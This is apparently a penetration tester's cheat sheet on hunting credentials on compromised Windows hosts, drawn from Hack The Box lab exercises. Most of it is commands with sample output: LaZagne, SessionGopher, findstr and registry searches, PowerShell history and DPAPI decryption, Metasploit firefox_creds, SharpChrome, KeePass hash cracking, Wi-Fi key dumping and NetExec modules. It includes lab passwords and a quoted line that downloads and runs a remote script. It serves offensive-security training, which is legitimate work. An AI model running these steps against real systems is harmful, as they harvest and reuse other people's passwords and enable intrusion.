Credentials Hunting

Key Terms to search

Passwords

Passphrases

Keys

Username

User account

Creds

Users

Passkeys

Passphrases

configuration

dbcredential

dbpassword

pwd

Credentials

Search tool

Lazagne

GitHub - AlessandroZ/LaZagne: Credentials recovery projectGitHub

C:\Users\bob\Desktop> start lazagne.exe all

|====================================================================|
|                                                                    |
|                        The LaZagne Project                         |
|                                                                    |
|                          ! BANG BANG !                             |
|                                                                    |
|====================================================================|


########## User: bob ##########

------------------- Winscp passwords -----------------

[+] Password found !!!
URL: 10.129.202.51
Login: admin
Password: SteveisReallyCool123
Port: 22

SessionGopher

GitHub - Arvanaghi/SessionGopher: SessionGopher is a PowerShell tool that uses WMI to extract saved session information for remote access tools such as WinSCP, PuTTY, SuperPuTTY, FileZilla, and Microsoft Remote Desktop. It can be run remotely or locally.GitHub

PS C:\htb> Import-Module .\SessionGopher.ps1
 
PS C:\Tools> Invoke-SessionGopher -Target WINLPE-SRV01

EvilTree - Regex

GitHub - t3l3machus/eviltree: A python3 remake of the classic "tree" command with the additional feature of searching for user provided keywords/regex in files, highlighting those that contain matches.GitHub

Regex to look for passwords: -x ".{0,3}passw.{0,3}[=]{1}.{0,18}"
Keywords to look for sensitive info: -k passw,db_,admin,account,user,token

python3 eviltree.py -r C:\xampp -k password,passwd,admin -i -v -q

Findstr

Start at C:\Users

C:\> findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml

c:\htb>findstr /s /i cred n:\*.*

n:\Contracts\private\secret.txt:file with all credentials
n:\Contracts\private\credentials.txt:admin:SecureCredentials!

Find specific file

C:\> for /R %i in (*) do @findstr /I /C:"pass" "%i" >nul && echo %i

C:\> for /R %i in (*.conf *.txt *.bat *.ps1) do @findstr /I /C:"pass" "%i" >nul && echo %i

C:\htb> cd c:\Users\htb-student\Documents & findstr /SI /M "password" *.xml *.ini *.txt

C:\htb> findstr /si password *.xml *.ini *.txt *.config

stuff.txt:password: l#-x9r11_2_GL!

C:\htb> findstr /spin "password" *.*

stuff.txt:1:password: l#-x9r11_2_GL!

C:\htb> dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*

c:\inetpub\wwwroot\web.config

dir

C:\htb>dir n:\*cred* /s /b

n:\Contracts\private\credentials.txt


C:\htb>dir n:\*secret* /s /b

n:\Contracts\private\secret.txt

Powershell

PS C:\htb> Get-ChildItem -Recurse -Path N:\ -Include *cred* -File

    Directory: N:\Contracts\private

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         2/23/2022   4:36 PM             25 credentials.txt

PS C:\htb> Get-ChildItem -Recurse -Path N:\ | Select-String "cred" -List

N:\Contracts\private\secret.txt:1:file with all credentials
N:\Contracts\private\credentials.txt:1:admin:SecureCredentials!

PS C:\htb> select-string -Path C:\Users\htb-student\Documents\*.txt -Pattern password

stuff.txt:1:password: l#-x9r11_2_GL!

Cmdkey Saved Credentials

C:\htb> cmdkey /list

    Target: LegacyGeneric:target=TERMSRV/SQL01
    Type: Generic
    User: inlanefreight\bob

Run as another user

PS C:\htb> runas /savecred /user:inlanefreight\bob "COMMAND HERE"

Passwords - Registry

The registry can be searched for keys and values that contain the word "password": reg query HKLM /f password /t REG_SZ /s

If you want to save some time, query this specific key to find admin AutoLogon credentials: eg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"

On Kali, use the winexe command to spawn a command prompt running with the admin privileges (update the password with the one you found): winexe -U 'admin%password' //10.10.149.66 cmd.exe

Application Configuration Files

Start at C:\Users

PS C:\htb> findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml

Sensitive IIS information such as credentials may be stored in a web.config file

PS C:\htb> Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore


    Directory: C:\inetpub\wwwroot


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         5/25/2021   9:59 AM            329 web.config

<SNIP>

C:\htb> where /R C:\ *.config

c:\inetpub\wwwroot\web.config

PowerShell History File

, PowerShell stores command history to the file:

C:\Users\<username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

PS C:\htb> (Get-PSReadLineOption).HistorySavePath

C:\Users\htb-student\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

PS C:\htb> gc (Get-PSReadLineOption).HistorySavePath

dir
cd Temp
md backups
cp c:\inetpub\wwwroot\* .\backups\
Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://www.powershellgallery.com/packages/MrAToolbox/1.0.1/Content/Get-IISSite.ps1'))
. .\Get-IISsite.ps1
Get-IISsite -Server WEB02 -web "Default Web Site"
wevtutil qe Application "/q:*[Application [(EventID=3005)]]" /f:text /rd:true /u:WEB02\administrator /p:5erv3rAdmin! /r:WEB02

One-liner to retrieve the contents of all Powershell history files that we can access as our current user.

PS C:\htb> foreach($user in ((ls C:\users).fullname)){cat "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue}

dir
cd Temp
md backups
cp c:\inetpub\wwwroot\* .\backups\
Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://www.powershellgallery.com/packages/MrAToolbox/1.0.1/Content/Get-IISSite.ps1'))
. .\Get-IISsite.ps1
Get-IISsite -Server WEB02 -web "Default Web Site"
wevtutil qe Application "/q:*[Application [(EventID=3005)]]" /f:text /rd:true /u:WEB02\administrator /p:5erv3rAdmin! /r:WEB02

We should always recheck these files once we have local admin if our prior access did not allow us to read the files for some users.

PowerShell Credentials

Take, for example, the following script Connect-VC.ps1, which a sysadmin has created to connect to a vCenter server easily.

# Connect-VC.ps1
# Get-Credential | Export-Clixml -Path 'C:\scripts\pass.xml'
$encryptedPassword = Import-Clixml -Path 'C:\scripts\pass.xml'
$decryptedPassword = $encryptedPassword.GetNetworkCredential().Password
Connect-VIServer -Server 'VC-01' -User 'bob_adm' -Password $decryptedPassword

Decrypting PowerShell Credentials

In the context of this user or abuse DPAPI

PS C:\htb> $credential = Import-Clixml -Path 'C:\scripts\pass.xml'
PS C:\htb> $credential.GetNetworkCredential().username

bob


PS C:\htb> $credential.GetNetworkCredential().password

Str0ng3ncryptedP@ss!

Enumerate shares

Network Shares

Network shares | The Hacker Recipes

Manspider

GitHub - blacklanternsecurity/MANSPIDER: Spider entire networks for juicy files sitting on SMB shares. Search filenames or file content - regex supported!GitHub

manspider.py --threads 50 192.168.56.0/24 -d "$DOMAIN" -u "$USER" -H "$NT_HASH" --content administrateur

Snaffler

GitHub - SnaffCon/Snaffler: a tool for pentesters to help find delicious candy, by @l0ss and @Sh3r4 ( Twitter: @/mikeloss and @/sh3r4_hax )GitHub

Netexec

nxc smb [IP] -u username -p password -M eventlog_creds

Other place to look

Autologon

C:\htb>reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    AutoRestartShell    REG_DWORD    0x1
    Background    REG_SZ    0 0 0
    
    <SNIP>
    
    AutoAdminLogon    REG_SZ    1
    DefaultUserName    REG_SZ    htb-student
    DefaultPassword    REG_SZ    HTB_@cademy_stdnt!

Note: If you absolutely must configure Autologon for your windows system, it is recommended to use Autologon.exe from the Sysinternals suite, which will encrypt the password as an LSA secret.

Putty

PS C:\htb> reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions

HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\kali%20ssh

PS C:\htb> reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\kali%20ssh

HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\kali%20ssh
    Present    REG_DWORD    0x1
    HostName    REG_SZ
    LogFileName    REG_SZ    putty.log
    
  <SNIP>
  
    ProxyDNS    REG_DWORD    0x1
    ProxyLocalhost    REG_DWORD    0x0
    ProxyMethod    REG_DWORD    0x5
    ProxyHost    REG_SZ    proxy
    ProxyPort    REG_DWORD    0x50
    ProxyUsername    REG_SZ    administrator
    ProxyPassword    REG_SZ    1_4m_th3_@cademy_4dm1n!

See Netexec - CME module gpp

NetExec - CME

See:

Password in scripts on IT shares

Passwords in `web.config` files on dev machines and IT shares

`unattend.xml`

Search unattend.xml:

PS C:\> Get-ChildItem -Path C:\ -Filter "unattend.xml" -Recurse -ErrorAction SilentlyContinue

<?xml version="1.0" encoding="utf-8"?>
<unattend xmlns="urn:schemas-microsoft-com:unattend">
    <settings pass="specialize">
        <component name="Microsoft-Windows-Shell-Setup" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
            <AutoLogon>
                <Password>
                    <Value>local_4dmin_p@ss</Value>
                    <PlainText>true</PlainText>
                </Password>
                <Enabled>true</Enabled>
                <LogonCount>2</LogonCount>
                <Username>Administrator</Username>
            </AutoLogon>
            <ComputerName>*</ComputerName>
        </component>
    </settings>

Passwords in the AD user or computer description fields

See Netexec - CME module users

NetExec - CME

StickyNotes DB Files

PS C:\htb> ls
 
 
    Directory: C:\Users\htb-student\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState
 
 
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         5/25/2021  11:59 AM          20480 15cbbc93e90a4d56bf8d9a29305b8981.storage.session
-a----         5/25/2021  11:59 AM            982 Ecs.dat
-a----         5/25/2021  11:59 AM           4096 plum.sqlite
-a----         5/25/2021  11:59 AM          32768 plum.sqlite-shm
-a----         5/25/2021  12:00 PM         197792 plum.sqlite-wal

Copy the three plum.sqlite* files down to our system and open them with a tool such as DB Browser for SQLite and view the Text column in the Note table with the query select Text from Note;.

With Powershell

GitHub - RamblingCookieMonster/PSSQLite: PowerShell module to query SQLite databasesGitHub

PS C:\htb> Set-ExecutionPolicy Bypass -Scope Process

Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"): A

PS C:\htb> cd .\PSSQLite\
PS C:\htb> Import-Module .\PSSQLite.psd1
PS C:\htb> $db = 'C:\Users\htb-student\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite'
PS C:\htb> Invoke-SqliteQuery -Database $db -Query "SELECT Text FROM Note" | ft -wrap
 
Text
----
\id=de368df0-6939-4579-8d38-0fda521c9bc4 vCenter
\id=e4adae4c-a40b-48b4-93a5-900247852f96
\id=1a44a631-6fff-4961-a4df-27898e9e1e65 root:Vc3nt3R_adm1n!
\id=c450fc5f-dc51-4412-b4ac-321fd41c522a Thycotic demo tomorrow at 10am

Strings

0xss0rz@htb[/htb]$  strings plum.sqlite-wal

CREATE TABLE "Note" (
"Text" varchar ,
"WindowPosition" varchar ,
"IsOpen" integer ,
"IsAlwaysOnTop" integer ,
"CreationNoteIdAnchor" varchar ,
"Theme" varchar ,
"IsFutureNote" integer ,
"RemoteId" varchar ,
"ChangeKey" varchar ,
"LastServerVersion" varchar ,
"RemoteSchemaVersion" integer ,
"IsRemoteDataInvalid" integer ,
"PendingInsightsScan" integer ,
"Type" varchar ,
"Id" varchar primary key not null ,
"ParentId" varchar ,
"CreatedAt" bigint ,
"DeletedAt" bigint ,
"UpdatedAt" bigint )'
indexsqlite_autoindex_Note_1Note
af907b1b-1eef-4d29-b238-3ea74f7ffe5caf907b1b-1eef-4d29-b238-3ea74f7ffe5c
U	af907b1b-1eef-4d29-b238-3ea74f7ffe5c
Yellow93b49900-6530-42e0-b35c-2663989ae4b3af907b1b-1eef-4d29-b238-3ea74f7ffe5c
U	93b49900-6530-42e0-b35c-2663989ae4b3


< SNIP >

\id=011f29a4-e37f-451d-967e-c42b818473c2 vCenter
\id=34910533-ddcf-4ac4-b8ed-3d1f10be9e61 alright*
\id=ffaea2ff-b4fc-4a14-a431-998dc833208c root:Vc3nt3R_adm1n!ManagedPosition=Yellow93b49900-6530-42e0-b35c-2663989ae4b3af907b1b-1eef-4d29-b238-3ea74f7ffe5c

KeePass databases

-> pull hash, crack and get loads of access. See Keepass

Found on user systems and shares

Files such as pass.txt, passwords.docx, passwords.xlsx found on user systems, shares, Sharepoint

Enumerate shares

Specific file

Find specific file

Other Interesting Files

%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
C:\ProgramData\Configs\*
C:\Program Files\Windows PowerShell\*

DPAPI

Firefox

Lazagne

GitHub - AlessandroZ/LaZagne: Credentials recovery projectGitHub

laZagne.exe browsers

Netexec - CME

module firefox

Apr 09, 2024 - 08:28:05 (EDT)] exegol-CPTS /workspace # cme smb -L            
[*] firefox                   Dump credentials from Firefox

Metasploit

 meterpreter > run post/multi/gather/firefox_creds

[*] Checking for Firefox directory in: C:\Documents and Settings\Administrator\Application Data\Mozilla\
[*] Found Firefox installed
[*] Locating Firefox Profiles...

[+] Found Profile 8r4i3uac.default
[+] Downloading cookies.sqlite file from: C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\8r4i3uac.default
[+] Downloading cookies.sqlite-journal file from: C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\8r4i3uac.default
[+] Downloading key3.db file from: C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\8r4i3uac.default
[+] Downloading signons.sqlite file from: C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\8r4i3uac.default
meterpreter >

Chrome

For more tools - See Post Exploit - Browsers Cookies

GitHub - GhostPack/SharpDPAPI: SharpDPAPI is a C# port of some Mimikatz DPAPI functionality.GitHub

GitHub - 0xSs0rZ/Windows_PrivEsc_Tools_precompiledGitHub

PS C:\htb> .\SharpChrome.exe logins /unprotect

  __                 _
 (_  |_   _. ._ ._  /  |_  ._ _  ._ _   _
 __) | | (_| |  |_) \_ | | | (_) | | | (/_
                |
  v1.7.0


[*] Action: Chrome Saved Logins Triage

[*] Triaging Chrome Logins for current user



[*] AES state key file : C:\Users\bob\AppData\Local\Google\Chrome\User Data\Local State
[*] AES state key      : 5A2BF178278C85E70F63C4CC6593C24D61C9E2D38683146F6201B32D5B767CA0


--- Chrome Credential (Path: C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Login Data) ---

file_path,signon_realm,origin_url,date_created,times_used,username,password
C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Login Data,https://vc01.inlanefreight.local/,https://vc01.inlanefreight.local/ui,4/12/2021 5:16:52 PM,13262735812597100,bob@inlanefreight.local,Welcome1

Dictionary Files

PS C:\htb> gc 'C:\Users\htb-student\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' | Select-String password

Password1234!

Browsers - All

GitHub - moonD4rk/HackBrowserData: Extract and decrypt browser data, supporting multiple data types, runnable on various operating systems (macOS, Windows, Linux).GitHub

Keepass databases kdbx

HTB: Jeeves0xdf hacks stuff

[Apr 25, 2024 - 03:07:05 (EDT)] exegol-CPTS /workspace # keepass2john Logins.kdbx 
Logins:$keepass$*2*60000*0*048f742ba4e83db43180a31b429023defcb09a2e4110956e218a498c90bfc39a*2f3c5560d95ead326c79f32988cbab81bafcabbd4cd69cd237a1d2fbadd7fb84*1eef873a28851d1fcd946d2b24bd29f6*d68c6859ae565c09ddc5b81c39d87565cc8c50338a3fb9e6e0a3425e55b0b7a3*35683df41573246ad58a3fdad9a764d7b5d4e3610e1a021be2f2f1018523c065
[Apr 25, 2024 - 03:12:31 (EDT)] exegol-CPTS /workspace # keepass2john Logins.kdbx > Logins.hash
[Apr 25, 2024 - 03:12:38 (EDT)] exegol-CPTS /workspace # hashcat Logins.hash /usr/share/wordlists/rockyou.txt --user

hashcat Logins.hash /usr/share/wordlists/rockyou.txt --user -m 13400

Email

GitHub - dafthack/MailSniper: MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.). It can be used as a non-administrative user to search their own email, or by an administrator to search the mailboxes of every user in a domain.GitHub

Wifi

If we obtain local admin access to a user's workstation with a wireless card, we can list out any wireless networks they have recently connected to.

C:\htb> netsh wlan show profile

Profiles on interface Wi-Fi:

Group policy profiles (read only)
---------------------------------
    <None>

User profiles
-------------
    All User Profile     : Smith Cabin
    All User Profile     : Bob's iPhone
    All User Profile     : EE_Guest
    All User Profile     : EE_Guest 2.4
    All User Profile     : ilfreight_corp

C:\htb> netsh wlan show profile ilfreight_corp key=clear

Dump WIFI password | NetExec

CME - Interesting SMB modules

NetExec - CME

[*] winscp Looks for WinSCP.ini files in the registry and default locations and tries to extract credentials.

[*] iis Checks for credentials in IIS Application Pool configuration files using appcmd.exe

[*] rdcman Remotely dump Remote Desktop Connection Manager (sysinternals) credentials

PreviousEnumeration NextUser Privileges

Last updated 1 month ago

Key Terms to search

Search tool

Lazagne

SessionGopher

EvilTree - Regex

Findstr

dir

Powershell

Cmdkey Saved Credentials

Passwords - Registry

Application Configuration Files

PowerShell History File

PowerShell Credentials

Enumerate shares

Manspider

Snaffler

Netexec

Other place to look

Autologon

Putty

Passwords in Group Policy in the SYSVOL share -

Passwords in scripts in the SYSVOL share

Password in scripts on IT shares

Passwords in web.config files on dev machines and IT shares

unattend.xml

Passwords in the AD user or computer description fields

StickyNotes DB Files

With Powershell

Strings

KeePass databases

Found on user systems and shares

Files such as pass.txt, passwords.docx, passwords.xlsx found on user systems, shares, Sharepoint

Enumerate shares

Specific file

Other Interesting Files

DPAPI

Firefox

Lazagne

Netexec - CME

Metasploit

Chrome

Dictionary Files

Browsers - All

Keepass databases kdbx

Email

Wifi

CME - Interesting SMB modules

Passwords in `web.config` files on dev machines and IT shares

`unattend.xml`